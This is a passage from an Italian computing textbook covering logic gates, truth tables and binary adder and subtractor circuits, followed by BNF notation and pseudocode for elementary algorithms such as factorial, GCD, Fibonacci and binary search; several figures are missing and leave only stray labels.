72.3.3 Circuito addizionatore 4106
72.3.4 Addizionatori in parallelo 4109
72.3.5 Sottrazione 4110
72.4 Riferimenti 4111

72.1 Operatori logici e circuiti elementari

La logica formale studia le proposizioni dichiarative, dove per proposizione si intende l'insieme di soggetto e verbo. È una ***proposizione dichiarativa*** quella proposizione nei confronti della quale è possibile stabilire se è vera o è falsa. *Vero* o *Falso* sono gli unici valori che può assumere una proposizione dichiarativa.

La proposizione che non si può suddividere in altre proposizioni, si dice essere elementare.

Il valore di una proposizione dichiarativa (*Vero* o *Falso*) può essere espresso in vari modi, a seconda del contesto. Generalmente, si attribuisce alla cifra numerica uno il significato di *Vero*, mentre a zero si attribuisce il valore *Falso*.

La variabile che può assumere solo il valore risultante da una proposizione dichiarativa, è una variabile logica.

Un'espressione logica è quella che produce un risultato *Vero* o *Falso*. L'espressione logica può essere costituita da proposizioni dichiarative, da valori costanti (espressi secondo la forma prevista per rappresentare *Vero* o *Falso*) e da variabili logiche. Per connettere o comunque per intervenire nei valori delle varie componenti dell'espressione, si utilizzano degli operatori.

Si distinguono generalmente gli operatori logici in «unari» e in «connettivi logici», per distinguere se intervengono in un solo valore logico, oppure su due o più valori logici. Gli operatori logici si possono vedere come delle scatoline, aventi uno o più ingressi, ma con una sola uscita.

Gli operatori logici unari ottengono in ingresso un solo valore logico; sono disponibili l'invertitore logico (NOT) e il non-invertitore logico.

L'invertitore logico è l'operatore unario che inverte il valore logico ricevuto in ingresso: se in ingresso riceve il valore *Vero* (1), in uscita genera il valore *Falso* (0); se in ingresso riceve il valore *Falso* (0), in uscita genera il valore *Vero* (1).

A titolo di esempio, se la variabile logica «A» contiene il risultato della proposizione dichiarativa «Antonio mangia», l'espressione logica «NOT A» è equivalente alla proposizione dichiarativa «Antonio non mangia».

```
.-------.-------.        .---.-------.
|   A   | NOT A |        | A | NOT A |
|-------|-------|        |---|-------|
| falso | vero  |        | 0 |   1   |
|       |       |        |   |       |
| vero  | falso |        | 1 |   0   |
`-------'-------'        `---'-------'
```

Il simbolo elettronico dell'invertitore logico è quello seguente:

input output

Il non-invertitore logico è l'operatore unario che presenta in uscita lo stesso valore ricevuto in ingresso. Il nome che viene dato al questo tipo di operatore indica la presenza di due negazioni consecutive che si eliminano a vicenda. Per esempio, se la variabile logica «A» contiene il risultato della proposizione dichiarativa «Antonio mangia», l'espressione logica «NOT A» è equivalente alla proposizione dichiarativa «Antonio non mangia», ma nello stesso modo, «NOT (NOT A)» è equivalente alla proposizione originale: «Antonio mangia».

```
.-------.-------------. .---.-------------.
|   A   | NOT (NOT A) | | A | NOT (NOT A) |
|-------|-------------| |---|-------------|
| falso |    falso    | | 0 |      0      |
|       |             | |   |             |
| vero  |    vero     | | 1 |      1      |
`-------'-------------' `---'-------------'
```

Il simbolo elettronico del non-invertitore logico è quello seguente:

input output

Il circuito del non-invertitore logico è equivalente a due invertitori posti in cascata:

input output

I connettivi logici sono gli operatori che utilizzano due ingressi. Il connettivo AND restituisce il valore *Vero* solo se entrambi i valori in ingresso sono pari a *Vero*. Per esempio, se la variabile logica «A» contiene il risultato della proposizione dichiarativa «Antonio mangia» e la variabile «B» contiene il risultato di «Piero legge», l'espressione «A AND B» equivale alla proposizione «Antonio mangia e Piero legge».

```
.---.---.---------.
| A | B | A AND B |
|---|---|---------|
| 0 | 0 |    0    |
| 0 | 1 |    0    |
| 1 | 0 |    0    |
| 1 | 1 |    1    |
`---'---'---------'
```

Il simbolo elettronico del circuito logico AND è quello seguente:

Il connettivo OR restituisce il valore *Vero* se almeno uno dei due ingressi dispone di un valore pari a *Vero*. Per esempio, se la variabile logica «A» contiene il risultato della proposizione dichiarativa «Antonio mangia» e la variabile «B» contiene il risultato di «Piero legge», l'espressione «A OR B» equivale alla proposizione «Antonio mangia e/o Piero legge».

A	B	A OR B
0	0	0
0	1	1
1	0	1
1	1	1

Il simbolo elettronico del circuito logico OR è quello seguente:

Il connettivo XOR restituisce il valore *Vero* se solo uno dei due ingressi dispone di un valore pari a *Vero*. Per esempio, se la variabile logica «A» contiene il risultato della proposizione dichiarativa «Antonio mangia» e la variabile «B» contiene il risultato di «Piero legge», l'espressione «A XOR B» equivale alla proposizione «Antonio mangia oppure Piero legge».

A	B	A XOR B
0	0	0
0	1	1
1	0	1
1	1	0

Il simbolo elettronico del circuito logico XOR è quello seguente:

Il circuito XOR si può anche sintetizzare utilizzando gli altri tipi di connettivi logici, per esempio come negli schemi successivi, dove la negazione logica viene rappresentata in forma sintetica attraverso l'uso di un pallino.

Figura 72.12. Circuito XOR ottenuto dai connettivi logici fondamentali.

Figura 72.13. Circuito XOR alternativo.

input
input
output

Figura 72.14. Altro circuito XOR alternativo.

input
input
output

72.2 Circuiti logici complessi

Un circuito logico complesso può essere rappresentato da una «scatola nera», nella quale entrano degli ingressi e dalla quale escono delle uscite. La combinazione dei livelli logici in uscita è funzione della combinazione dei livelli logici in ingresso, del tempo e di un fattore casuale che si manifesta tipicamente all'atto dell'alimentazione iniziale del circuito.

input
scatola nera
output

Quello raffigurato sopra è un esempio di scatola nera con cinque ingressi e tre uscite.

Si osservi che, salvo indicazione diversa, l'influenza della variabile tempo e della variabile casuale dovuta all'accensione del circuito si considera ininfluente.
Si consideri inoltre che, a meno di un'indicazione specifica al riguardo, il tempo di propagazione nei circuiti logici sia pari a zero.

72.2.1 Scatole nere con un ingresso e una uscita

Una scatola nera con un ingresso e una sola uscita, può essere rappresentata come nello schema seguente:

input — scatola nera — output

Una scatola nera con queste caratteristiche, può essere al massimo di quattro tipi. Lo schema seguente sintetizza i quattro tipi possibili, distinguendo i valori che possono apparire in uscita; in basso, vengono annotati i nomi che si possono attribuire ai quattro tipi di scatola nera.

```
.-------.---------------------------------.
| input | tipi in base ai valori di uscita |
|       |      1      2      3      4      |
|-------|---------------------------------|
|   0   |      0      1      0      1      |
|       |                                 |
|   1   |      0      0      1      1      |
`-------'---------------------------------'
             |      |      |      |
             |      |      |      `--> unary
             |      |      |
             |      |      `--> not inverter
             |      |
             |      `--> inverter
             |
             `--> null
```

Come si vede dalle annotazioni contenute nello schema, la scatola nera di tipo due, coincide con il circuito invertente (ovvero NOT), mentre la scatola nera di tipo tre coincide con il circuito non-invertente.

La scatola nera di tipo quattro può essere ottenuta con il circuito seguente:

input — output

Lo schema può essere rappresentato in maniera semplificata nel modo seguente:

input — output

La scatola nera di tipo uno, può essere sintetizzata usando la scatola nera di tipo quattro e invertendo il livello logico in uscita:

input — scatola nera 4 — output

Pertanto, lo schema complessivo potrebbe essere il seguente:

input output

72.2.2 Scatole nere con due ingressi e una uscita

Ci sono 16 tipi di scatole nere con due ingressi e una sola uscita. Lo schema seguente riepiloga i vari casi:

```
.-------.---------------------------------------------------------------.
| input |                  tipi in base ai valori di uscita              |
| A   B |   1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16   |
|-------|---------------------------------------------------------------|
| 0   0 |   0   1   0   1   0   1   0   1   0   1   0   1   0   1   0   1   |
|       |                                                               |
| 0   1 |   0   0   1   1   0   0   1   1   0   0   1   1   0   0   1   1   |
|       |                                                               |
| 1   0 |   0   0   0   0   1   1   1   1   0   0   0   0   1   1   1   1   |
|       |                                                               |
| 1   1 |   0   0   0   0   0   0   0   0   1   1   1   1   1   1   1   1   |
|       |                                                               |
`-------'---------------------------------------------------------------'
            N   N       N       N   X   N   A   E   B       A       O    U
            U   O       O       O   O   A   N   Q                   R    N
            L   R       T       T   R   N   D   U                        I
            L                           D       A                        T
                        A       B               L                        Y
```

72.3 Addizionatore

L'addizione in binario, eseguita con la stessa procedura consueta per il sistema di numerazione decimale, non genera mai un riporto superiore a uno. Lo si può verificare facilmente attraverso la tabella successiva.

Tabella 72.23. Addizione binaria.

primo addendo	secondo addendo	riporto preesistente	risultato	riporto generato
0_2	0_2	0_2	0_2	0_2
0_2	0_2	1_2	1_2	0_2
0_2	1_2	0_2	1_2	0_2
0_2	1_2	1_2	0_2	1_2
1_2	0_2	0_2	1_2	0_2
1_2	0_2	1_2	0_2	1_2
1_2	1_2	0_2	0_2	1_2
1_2	1_2	1_2	1_2	1_2

72.3.1 Circuito semiaddizionatore

Il circuito semiaddizionatore (*half adder*) è una scatola nera con due ingressi costituiti dai valori da addizionare e due uscite: il risultato (*sum*) e il riporto dell'addizione (*carry out*).

Figura 72.24. Scatola nera del semiaddizionatore.

Tabella 72.25. Somma senza riporto in ingresso.

primo addendo (A)	secondo addendo (B)	risultato (*sum*)	riporto generato (*carry out*)
0_2	0_2	0_2	0_2
0_2	1_2	1_2	0_2
1_2	0_2	1_2	0_2
1_2	1_2	0_2	1_2

Il circuito del semiaddizionatore si sintetizza utilizzando un circuito XOR per la somma e un circuito AND per ottenere il riporto.

Figura 72.26. Circuito del semiaddizionatore.

72.3.2 Circuiti equivalenti del semiaddizionatore

Il circuito del semiaddizionatore si sintetizza in modo molto semplice attraverso lo schema già presentato nella sezione precedente; se si sostituisce il circuito XOR con il suo equivalente si ottiene lo schema successivo, ma si possono anche tentare delle semplificazioni o degli adattamenti, come si vede in altre due figure.

Figura 72.27. Circuito del semiaddizionatore, traducendo il circuito XOR nei termini dei connettivi logici fondamentali.

Figura 72.28. Circuito equivalente del semiaddizionatore.

Figura 72.29. Circuito equivalente del semiaddizionatore.

72.3.3 Circuito addizionatore

Il circuito addizionatore completo è analogo a quello del semiaddizionatore, con l'aggiunta di un riporto in ingresso (*carry in*).

Figura 72.30. Scatola nera dell'addizionatore completo.

Tabella 72.31. Somma con riporto in ingresso.

riporto preesistente (*carry in*)	primo addendo (A)	secondo addendo (B)	risultato (*sum*)	riporto generato (*carry out*)
0_2	0_2	0_2	0_2	0_2
1_2	0_2	0_2	1_2	0_2
0_2	0_2	1_2	1_2	0_2
1_2	0_2	1_2	0_2	1_2
0_2	1_2	0_2	1_2	0_2
1_2	1_2	0_2	0_2	1_2
0_2	1_2	1_2	0_2	1_2
1_2	1_2	1_2	1_2	1_2

Il circuito dell'addizionatore completo, si può ottenere a partire dal semiaddizionatore, come si vede nella figura successiva.

Figura 72.32. Addizionatore completo ottenuto con due semiaddizionatori.

Figura 72.33. Schema dell'addizionatore completo.

Per addizionare dei numeri interi con più bit, occorre predisporre un addizionatore parallelo. L'esempio della figura successiva è realizzato per quattro cifre binarie e si può notare che la cifra meno significativa (A_1 e B_1) richiede solo un semiaddizionatore.

Figura 72.34. Addizionatore a quattro cifre binarie. Le scatole nere sintetizzano un semiaddizionatore con due ingressi, un'uscita per il risultato e un'uscita per il riporto.

72.3.4 Addizionatori in parallelo

Un circuito addizionatore completo deve essere provvisto, sia di un riporto in ingresso (*carry in*), sia di un riporto in uscita (*carry out*), in modo da poter essere messo in parallelo, assieme ad altri circuiti del genere.

Figura 72.35. Addizionatore a quattro cifre binarie, con riporto, sia in ingresso, sia in uscita.

Una volta messi assieme tutti gli addizionatori che si vogliono utilizzare, il riporto in uscita serve a determinare se la somma dei due valori interi genera un risultato valido oppure no. In pratica, un riporto in uscita con valore pari a uno (*Vero*) indica che la somma ha prodotto un errore.

Figura 72.36. Due addizionatori a 4 bit, messi in parallelo, per formare un addizionatore complessivo a 8 bit: se alla fine si genera un riporto, la somma ottenuta nei primi 8 bit non è valida.

72.3.5 Sottrazione

Per eseguire la sottrazione, occorre che il sottraendo sia espresso secondo il complemento a due (complemento alla base). Per ottenere il complemento a due, si può partire dal complemento a uno, sommando poi una unità attraverso il riporto in ingresso. Il complemento a uno si ottiene semplicemente invertendo gli ingressi.

Figura 72.37. Per sottrarre un valore occorre invertire i valori del sottraendo, attivando il riporto in ingresso. Un risultato corretto della sottrazione deve dare un riporto finale; pertanto, se si inverte il riporto finale, se si ottiene un valore pari a uno (*Vero*), la sottrazione non è valida, in quanto si sottrae più del valore del minuendo.

Come si può vedere dalla figura, l'ultimo riporto viene invertito, perché una sottrazione corretta deve generare un riporto pari a uno, mentre un riporto pari a zero indica che la sottrazione non è valida. Pertanto, in questo caso, se il risultato del riporto invertito è pari a uno, si segnala la presenza di un errore nel calcolo.

Per generalizzare il circuito, si possono sostituire le logiche invertenti con dei circuiti XOR, in modo da selezionare l'operazione, addizione o sottrazione, attraverso l'uso del riporto in ingresso.

Figura 72.38. Somma e sottrazione, attraverso il controllo del riporto in ingresso.

0 = somma
1 = sottrazione

eventuale

continuazione

riporto prestito

72.4 Riferimenti

- Mario Italiani, Giuseppe Serazzi, *Elementi di informatica*, ETAS libri, 1973, ISBN 8845303632
- Tony R. Kuphaldt, *Lessons In Electric Circuits*

  ⟨*http://www.faqs.org/docs/electric/*⟩
- *Building a Digital Computer*

  ⟨*http://artematrix.org/Projects/TTL.processor/processor.design.htm*⟩

Capitolo 73

Algoritmi e notazioni

73.1 Notazione BNF 4114

73.1.1 BNF essenziale 4114
73.1.2 Estensioni usuali 4115

73.2 Pseudocodifica 4116

73.3 Problemi elementari di programmazione 4117

73.3.1 Somma tra due numeri positivi 4117
73.3.2 Moltiplicazione di due numeri positivi attraverso la somma 4118
73.3.3 Divisione intera tra due numeri positivi 4119
73.3.4 Elevamento a potenza 4119
73.3.5 Radice quadrata 4121
73.3.6 Fattoriale 4122
73.3.7 Massimo comune divisore 4122
73.3.8 Numero primo 4123
73.3.9 Successione di Fibonacci 4124

73.4 Scansione di array 4125

73.4.1 Ricerca sequenziale 4125
73.4.2 Ricerca binaria 4126

73.5 Problemi classici di programmazione 4127

73.5.1 Bubblesort 4127
73.5.2 Fusione tra due array ordinati 4128
73.5.3 Torre di Hanoi 4130
73.5.4 Quicksort (ordinamento non decrescente) 4132
73.5.5 Permutazioni 4136

73.6 Gestione dei file 4137

73.6.1 Fusione tra due file ordinati 4137
73.6.2 Riordino attraverso la fusione 4139

73.7 Trasformazione in lettere 4145

73.7.1 Da numero a sequenza alfabetica pura 4145
73.7.2 Da numero a numero romano 4147
73.7.3 Da numero a lettere, nel senso verbale 4151

73.8 Algoritmi elementari con la shell POSIX 4154

73.8.1 ARCS0: ricerca del valore più grande tra tre numeri interi 4154
73.8.2 ARCS1: moltiplicazione di due numeri interi 4155

73.8.3 ARCS2: valore assoluto della differenza tra due valori 4155
73.8.4 ARCS3: somma tra due numeri 4156
73.8.5 ARCS4: prodotto tra due numeri 4157
73.8.6 ARCS5: quoziente 4157
73.8.7 ARCS6: verifica della parità di un numero 4158
73.8.8 ARCS7: fattoriale 4159
73.8.9 ARCS8: coefficiente binomiale 4159
73.8.10 ARCS10: massimo comune divisore 4160
73.8.11 ARCS11: massimo comune divisore 4161
73.8.12 ARCS12: radice quadrata intera 4162
73.8.13 ARCS13: numero primo 4163
73.8.14 ARCS14: numero primo 4163

73.9 Riferimenti 4164

73.1 Notazione BNF

In molti documenti si usa la «notazione BNF» per mostrare la sintassi di qualcosa, particolarmente quando si tratta della descrizione formale dei linguaggi di programmazione. La sigla BNF sta per *Backus Naur form*, a ricordare che si tratta di una notazione introdotta da John Backus e Peter Naur, tra il 1959 e il 1960.

73.1.1 BNF essenziale

La notazione BNF utilizza pochi simboli per attribuire un significato a ciò che descrive:

Simbolo	Significato
`::=`	Si legge come: «è definito da». Sta a indicare che l'oggetto alla sinistra di tale simbolo viene definito come ciò che si trova alla destra di questo.
`|`	Si legge come: «oppure». Sta a indicare che può essere usato l'oggetto che sta a sinistra del simbolo, oppure quello a destra, indifferentemente.
<***nome***>	Indica il nome di una categoria. Il nome può essere scritto senza vincoli particolari.
x	Qualunque cosa sia scritta al di fuori delle parentesi angolari ('**<**', '**>**'), escludendo altri simboli di cui sia stato dichiarato il significato, va interpretata letteralmente (come parola chiave).

A titolo di esempio, viene mostrata la definizione di una lettera dell'alfabeto latino, suddividendo il problema, definendo cosa sono le lettere latine minuscole e cosa sono le lettere latine maiuscole:

```
<lettera_alfabeto_latino>  ::=
        <lettera_alfabeto_latino_maiuscola>
      | <lettera_alfabeto_latino_minuscola>
```

```
<lettera_alfabeto_latino_maiuscola>  ::=
        A | B | C | D | E | F | G | H | I | J | K | L | M | N | O
      | P | Q | R | S | T | U | V | W | X | Y | Z
```

```
<lettera_alfabeto_latino_minuscola>  ::=
        a | b | c | d | e | f | g | h | i | j | k | l | m | n | o
      | p | q | r | s | t | u | v | w | x | y | z
```

73.1.2 Estensioni usuali

Di fatto, la notazione BNF viene usata estendendo la simbologia, per semplificarne la lettura ed evitare ambiguità, ma a volte la simbologia viene anche cambiata leggermente.

Simbolo	Significato
`[...]`	Le parentesi quadre vengono usate normalmente per delimitare una porzione facoltativa della dichiarazione.
`{...}`	Le parentesi graffe vengono usate normalmente per delimitare una porzione necessaria della dichiarazione, che però, per qualche ragione, va intesa come un blocco unito. A volte, l'inclusione tra parentesi graffe va intesa come la possibilità di ripetere indefinitamente il suo contenuto, ma per questo, di solito si aggiungono tre puntini di sospensione in coda.
`...`	Tre puntini di sospensione vengono usati per indicare una porzione della dichiarazione che può essere ripetuta.
`"..."` `'...'`	Una coppia di apici doppi o singoli, può essere usata per delimitare qualcosa che va inteso letteralmente e non va confuso con la simbologia usata per la notazione BNF.
nome	I nomi di qualcosa potrebbero essere annotati senza le parentesi angolari, se si usa una forma tipografica particolare per evidenziarli (per esempio in corsivo o in nero, rispetto a un testo normale per ciò che va inteso letteralmente).

Segue un esempio molto semplice, dove si vede l'uso delle parentesi quadre, graffe e dei puntini di sospensione, per descrivere un'istruzione condizionale di un certo linguaggio, senza però entrare troppo nel dettaglio:

```
<istruzione_condizionale> ::= IF <espressione_logica>
                                  THEN
                                      <sequenza_di_istruzioni>
                                [ ELSE
                                      <sequenza_di_istruzioni> ]
                              END FI

<sequenza_di_istruzioni> ::= { <istruzione> | <commento> |
<riga_bianca> }...
```

Segue lo stesso esempio, modificato in modo da evidenziare i nomi di categoria, evitando così l'uso delle parentesi angolari:

```
istruzione_condizionale ::= IF espressione_logica
                            THEN
                                sequenza_di_istruzioni
                          [ ELSE
                                sequenza_di_istruzioni ]
                        END FI

sequenza_di_istruzioni ::= { istruzione | commento | riga_bianca }...
```

73.2 Pseudocodifica

Un tempo la programmazione avveniva attraverso lunghe fasi di studio a tavolino. Prima di iniziare il lavoro di scrittura del programma (su moduli cartacei che venivano trasferiti successivamente nella macchina) si passava per la realizzazione di un diagramma di flusso, o *flow chart*.

Il diagramma di flusso andava bene fino a quando si utilizzavano linguaggi di programmazione procedurali, come il COBOL. Quando si sono introdotti concetti nuovi che rendevano tale sistema di rappresentazione più complicato del linguaggio stesso, si è preferito schematizzare gli algoritmi attraverso righe di codice vero e proprio o attraverso una pseudocodifica più o meno adatta al concetto che si vuole rappresentare di volta in volta.

Nelle sezioni successive appaiono esempi realizzati attraverso una pseudocodifica. Tali esempi non sono ottimizzati perché si intende puntare sulla chiarezza piuttosto che sull'eventuale velocità di esecuzione. La pseudocodifica si rifà a termini e concetti comuni a molti linguaggi di programmazione recenti. Vale la pena di chiarire solo alcuni dettagli:

- le variabili di scambio di una subroutine (una procedura o una funzione) vengono semplicemente nominate a fianco del nome della procedura, tra parentesi, cosa che corrisponde a una dichiarazione implicita di quelle variabili con un campo di azione locale e con caratteristiche identiche a quelle usate nelle chiamate relative;

- il trasferimento dei parametri di una chiamata alla subroutine avviene per valore, impedendo l'alterazione delle variabili originali;
- per trasferire una variabile per riferimento, in modo che il suo valore venga aggiornato al termine dell'esecuzione di una subroutine, occorre aggiungere il simbolo '`@`' di fronte al nome della variabile utilizzata nella chiamata;
- il simbolo '`#`' rappresenta l'inizio di un commento;
- il simbolo '`:=`' rappresenta l'assegnamento;
- il simbolo '`:==:`' rappresenta lo scambio tra due operandi.

La pseudocodifica in questione non gestisce i puntatori e l'uso dell'operatore «@» è solo un modo per affermare che le modifiche apportate alla variabile devono essere mantenute alla conclusione della funzione.

73.3 Problemi elementari di programmazione

Nelle sezioni seguenti sono descritti alcuni problemi elementari attraverso cui si insegnano le tecniche di programmazione ai principianti. Assieme ai problemi vengono proposte le soluzioni in forma di pseudocodifica.

73.3.1 Somma tra due numeri positivi

La somma di due numeri positivi può essere espressa attraverso il concetto dell'incremento unitario: $n+m$ equivale a incrementare m, di un'unità, per n volte, oppure incrementare n per m volte. L'algoritmo risolutivo è banale, ma utile per apprendere il funzionamento dei cicli:

```
SOMMA (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := X
    FOR I := 1; I <= Y; I++
        Z++
    END FOR

    RETURN Z

END SOMMA
```

In questo caso viene mostrata una soluzione per mezzo di un ciclo enumerativo, '`FOR`'. Il ciclo viene ripetuto '`Y`' volte, incrementando la variabile '`Z`' di un'unità. Alla fine, '`Z`' contiene il risultato della somma di '`X`' per '`Y`'. La pseudocodifica seguente mostra invece la traduzione del ciclo '`FOR`' in un ciclo '`WHILE`':

```
SOMMA (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := X
    I := 1
    WHILE I <= Y
        Z++
        I++
    END WHILE

    RETURN Z

END SOMMA
```

73.3.2 Moltiplicazione di due numeri positivi attraverso la somma

La moltiplicazione di due numeri positivi, può essere espressa attraverso il concetto della somma: $n*m$ equivale a sommare m volte n, oppure n volte m. L'algoritmo risolutivo è banale, ma utile per apprendere il funzionamento dei cicli:

```
MOLTIPLICA (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := 0
    FOR I := 1; I <= Y; I++
        Z := Z + X
    END FOR

    RETURN Z

END MOLTIPLICA
```

In questo caso viene mostrata una soluzione per mezzo di un ciclo '**`FOR`**'. Il ciclo viene ripetuto '**`Y`**' volte, incrementando la variabile '**`Z`**' del valore di '**`X`**'. Alla fine, '**`Z`**' contiene il risultato del prodotto di '**`X`**' per '**`Y`**'. La pseudocodifica seguente mostra invece la traduzione del ciclo '**`FOR`**' in un ciclo '**`WHILE`**':

```
MOLTIPLICA (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := 0
    I := 1
    WHILE I <= Y
        Z := Z + X
        I++
    END WHILE

    RETURN Z

END MOLTIPLICA
```

73.3.3 Divisione intera tra due numeri positivi

La divisione di due numeri positivi, può essere espressa attraverso la sottrazione: ***n***:***m*** equivale a sottrarre ***m*** da ***n*** fino a quando ***n*** diventa inferiore di ***m***. Il numero di volte in cui tale sottrazione ha luogo, è il risultato della divisione.

```
DIVIDI (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := 0
    I := X
    WHILE I >= Y
        I := I - Y
        Z++
    END WHILE

    RETURN Z

END DIVIDI
```

73.3.4 Elevamento a potenza

L'elevamento a potenza, utilizzando numeri positivi, può essere espresso attraverso il concetto della moltiplicazione: ***n********m*** equivale a moltiplicare ***m*** volte ***n*** per se stesso.

```
EXP (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := 1
    FOR I := 1; I <= Y; I++
        Z := Z * X
    END FOR

    RETURN Z

END EXP
```

In questo caso viene mostrata una soluzione per mezzo di un ciclo '**`FOR`**'. Il ciclo viene ripetuto '**`Y`**' volte; ogni volta la variabile '**`Z`**' viene moltiplicata per il valore di '**`X`**', a partire da uno. Alla fine, '**`Z`**' contiene il risultato dell'elevamento di '**`X`**' a '**`Y`**'. La pseudocodifica seguente mostra invece la traduzione del ciclo '**`FOR`**' in un ciclo '**`WHILE`**':

```
EXP (X, Y)

    LOCAL Z INTEGER
    LOCAL I INTEGER

    Z := 1
    I := 1
    WHILE I <= Y
        Z := Z * X
        I++
    END WHILE

    RETURN Z

END EXP
```

La pseudocodifica seguente mostra una soluzione ricorsiva:

```
EXP (X, Y)

    IF X = 0
        THEN
            RETURN 0
        ELSE
            IF Y = 0
                THEN
                    RETURN 1
                ELSE
                    RETURN X * EXP (X, Y-1)
            END IF
    END IF

END EXP
```

73.3.5 Radice quadrata

Il calcolo della parte intera della radice quadrata di un numero si può fare per tentativi, partendo da 1, eseguendo il quadrato fino a quando il risultato è minore o uguale al valore di partenza di cui si calcola la radice.

```
RADICE (X)

    LOCAL Z INTEGER
    LOCAL T INTEGER

    Z := 0
    T := 0

    WHILE TRUE

        T := Z * Z

        IF T > X
            THEN
                # È stato superato il valore massimo.
                Z--
                RETURN Z
        END IF

        Z++

    END WHILE

END RADICE
```

73.3.6 Fattoriale

Il fattoriale è un valore che si calcola a partire da un numero positivo. Può essere espresso come il prodotto di n per il fattoriale di $n-1$, quando n è maggiore di 1, mentre equivale a 1 quando n è uguale a 1. In pratica, $n! = n * (n-1) * (n-2) ... * 1$.

```
FATTORIALE (X)

    LOCAL I INTEGER

    I := X - 1

    WHILE I > 0
        X := X * I
        I--
    END WHILE

    RETURN X

END FATTORIALE
```

La soluzione appena mostrata fa uso di un ciclo '**`WHILE`**' in cui l'indice '**`I`**', che inizialmente contiene il valore di '**`X-1`**', viene usato per essere moltiplicato al valore di '**`X`**', riducendolo ogni volta di un'unità. Quando '**`I`**' raggiunge lo zero, il ciclo termina e '**`X`**' contiene il valore del fattoriale. L'esempio seguente mostra invece una soluzione ricorsiva che dovrebbe risultare più intuitiva:

```
FATTORIALE (X)

    IF X == 1
        THEN
            RETURN 1
        ELSE
            RETURN X * FATTORIALE (X - 1)
    END IF

END FATTORIALE
```

73.3.7 Massimo comune divisore

Il massimo comune divisore tra due numeri può essere ottenuto sottraendo a quello maggiore il valore di quello minore, fino a quando i due valori sono uguali. Quel valore è il massimo comune divisore.

```
MCD (X, Y)

    WHILE X != Y

        IF X > Y
            THEN
                X := X - Y
            ELSE
                Y := Y - X
        END IF

    END WHILE

    RETURN X

END MCD
```

73.3.8 Numero primo

Un numero intero è numero primo quando non può essere diviso per un altro intero diverso dal numero stesso e da 1, generando un risultato intero.

```
PRIMO (X)

    LOCAL PRIMO BOOLEAN
    LOCAL I INTEGER
    LOCAL J INTEGER

    PRIMO := TRUE
    I := 2

    WHILE (I < X) AND PRIMO

        J := X / I
        J := X - (J * I)

        IF J == 0
            THEN
                PRIMO := FALSE
            ELSE
                I++
        END IF

    END WHILE

    RETURN PRIMO

END PRIMO
```

73.3.9 Successione di Fibonacci

La successione di Fibonacci è una sequenza di numeri interi positivi che hanno la proprietà di essere costituiti dalla somma dei due numeri precedenti nella sequenza stessa. Pertanto, l'n-esimo elemento di questa successione, indicato solitamente come F_n, è dato dalla somma di F_{n-1} e F_{n-2}.

La successione di Fibonacci parte storicamente dal presupposto che F_1 e F_2 siano entrambi pari a uno, ma attualmente si indica anche F_0 pari a zero, cosa che consente di calcolare correttamente F_2.

Per il calcolo della successione di Fibonacci, dall'elemento zero, fino all'elemento n-esimo, vengono proposte due modalità di calcolo, la prima in forma ricorsiva, la seconda in forma iterativa.

```
FIBONACCI (N)
    IF N == 0
    THEN
        RETURN 0
    ELSE
        IF N == 1
        THEN
            RETURN 1
        ELSE
            RETURN (FIBONACCI (N - 1) + FIBONACCI (N - 2))
        END IF
    END IF
END FIBONACCI
```

```
FIBONACCI (N)
    LOCAL F1 := 1
    LOCAL F0 := 0
    LOCAL FN := N
    LOCAL I

    FOR I := 2; I <= N; I++
        FN := F1 + F0
        F0 := F1
        F1 := FN
    END FOR

    RETURN FN

END FIBONACCI
```

La successione di Fibonacci, per cui F_0 è pari a zero e F_1 è pari a uno, è: 0, 1, 1, 2, 3, 5, 8, 13,...

73.4 Scansione di array

Nelle sezioni seguenti sono descritti alcuni problemi legati alla scansione di array. Assieme ai problemi vengono proposte le soluzioni in forma di pseudocodifica.

73.4.1 Ricerca sequenziale

La ricerca di un elemento all'interno di un array disordinato può avvenire solo in modo sequenziale, cioè controllando uno per uno tutti gli elementi, fino a quando si trova la corrispondenza cercata. Segue la descrizione delle variabili più importanti che appaiono nella pseudocodifica successiva:

Variabile	Descrizione
LISTA	È l'array su cui effettuare la ricerca.
X	È il valore cercato all'interno dell'array.
A	È l'indice inferiore dell'intervallo di array su cui si vuole effettuare la ricerca.
Z	È l'indice superiore dell'intervallo di array su cui si vuole effettuare la ricerca.

Ecco un esempio di pseudocodifica che risolve il problema in modo iterativo:

```
RICERCASEQ (LISTA, X, A, Z)

    LOCAL I INTEGER

    FOR I := A; I <= Z; I++
        IF X == LISTA[I]
            THEN
                RETURN I
        END IF
    END FOR

    # La corrispondenza non è stata trovata.
    RETURN -1

END RICERCASEQ
```

Solo a scopo didattico, viene proposta una soluzione ricorsiva:

```
RICERCASEQ (LISTA, X, A, Z)

    IF A > Z
        THEN
            RETURN -1
        ELSE
            IF X == LISTA[A]
                THEN
                    RETURN A
                ELSE
                    RETURN RICERCASEQ (@LISTA, X, A+1, Z)
            END IF
    END IF

END RICERCASEQ
```

73.4.2 Ricerca binaria

La ricerca di un elemento all'interno di un array ordinato può avvenire individuando un elemento centrale: se questo corrisponde all'elemento cercato, la ricerca è terminata, altrimenti si ripete nella parte di array precedente o successiva all'elemento, a seconda del suo valore e del tipo di ordinamento esistente.

Il problema posto in questi termini è ricorsivo. La pseudocodifica mostrata utilizza le stesse variabili già descritte per la ricerca sequenziale.

```
RICERCABIN (LISTA, X, A, Z)

    LOCAL M INTEGER

    # Determina l'elemento centrale dell'array.
    M := (A + Z) / 2

    IF M < A
        THEN
            # Non restano elementi da controllare: l'elemento cercato non c'è.
            RETURN -1
        ELSE
            IF X < LISTA[M]
                THEN
                    # Si ripete la ricerca nella parte inferiore.
                    RETURN RICERCABIN (@LISTA, X, A, M-1)
                ELSE
                    IF X > LISTA[M]
                        THEN
                            # Si ripete la ricerca nella parte superiore.
                            RETURN RICERCABIN (@LISTA, X, M+1, Z)
                        ELSE
                            # M rappresenta l'indice dell'elemento cercato.
```

```
                                        RETURN M
                                END IF
                        END IF
                END IF

        END RICERCABIN
```

73.5 Problemi classici di programmazione

Nelle sezioni seguenti sono descritti alcuni problemi classici attraverso cui si insegnano le tecniche di programmazione. Assieme ai problemi vengono proposte le soluzioni in forma di pseudocodifica.

73.5.1 Bubblesort

